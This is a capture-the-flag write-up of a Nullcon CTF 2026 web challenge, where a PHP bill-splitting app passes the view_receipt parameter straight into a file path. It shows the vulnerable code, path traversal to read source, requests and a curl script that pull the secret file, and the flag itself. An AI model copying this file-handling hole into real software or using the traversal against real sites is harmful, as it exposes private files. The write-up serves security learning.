FloatTheory (BillSplitter Lite)
Challenge Data
| Field | Value |
|---|---|
| CTF | Nullcon CTF 2026 |
| Challenge | FloatTheory (BillSplitter Lite) |
| Category | Web |
| Flag | ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd} |
Challenge Description
The site simulated an application for splitting expenses between friends. The whole story revolved around an administrative fee of 0.01, but the interesting part was not weird floating point behavior. It was in how the backend stored and exposed the files for each session.
Reconnaissance
The application let us add people, calculate the total, and inspect receipts through the ?view_receipt= parameter. From the beginning there were several useful hints.
- The name field showed
Filenameas a placeholder. - The site said everything was stored in files on the server.
- The balance always displayed
0.01000.
That made view_receipt the first thing worth checking carefully.
Analysis
The real issue was a very clean LFI. The backend directly concatenated the value of view_receipt to the user directory path.
$target = $user_dir . $_GET['view_receipt'];
if (file_exists($target)) {
$lfi_content = file_get_contents($target);
}
With a path like ../../index.php, it was possible to read the source code and understand how the application actually worked. That revealed the following.
- Each session had its own directory at
/var/www/html/users/{session_id}/. - The flag was stored in a file named
secret_XXXXXXXX. - The exact name of that file was written to
.lock. secret_*files were hidden from the interface, but they were still reachable throughview_receipt.
At that point the floating point theme stopped mattering much. The real bug was file access.
Solution
The exploit only needed two requests.
First, read .lock to recover the name of the secret file.
GET /?view_receipt=.lock
That returned something like this.
secret_rCAlqyJl
Then request that file directly.
GET /?view_receipt=secret_rCAlqyJl
The response included both the 0.01 value and the flag.
0.01
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
If you wanted to automate it, something like this was enough.
curl -sc /tmp/c http://52.59.124.14:5069/ -o /dev/null
SECRET=$(curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=.lock" | grep -oP 'secret_\\w+')
curl -sb /tmp/c "http://52.59.124.14:5069/?view_receipt=$SECRET" | grep -oP 'ENO\\{[^}]+\\}'
The title and the theme pointed in one direction, but the actual solve was in the file handling.
Flag
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}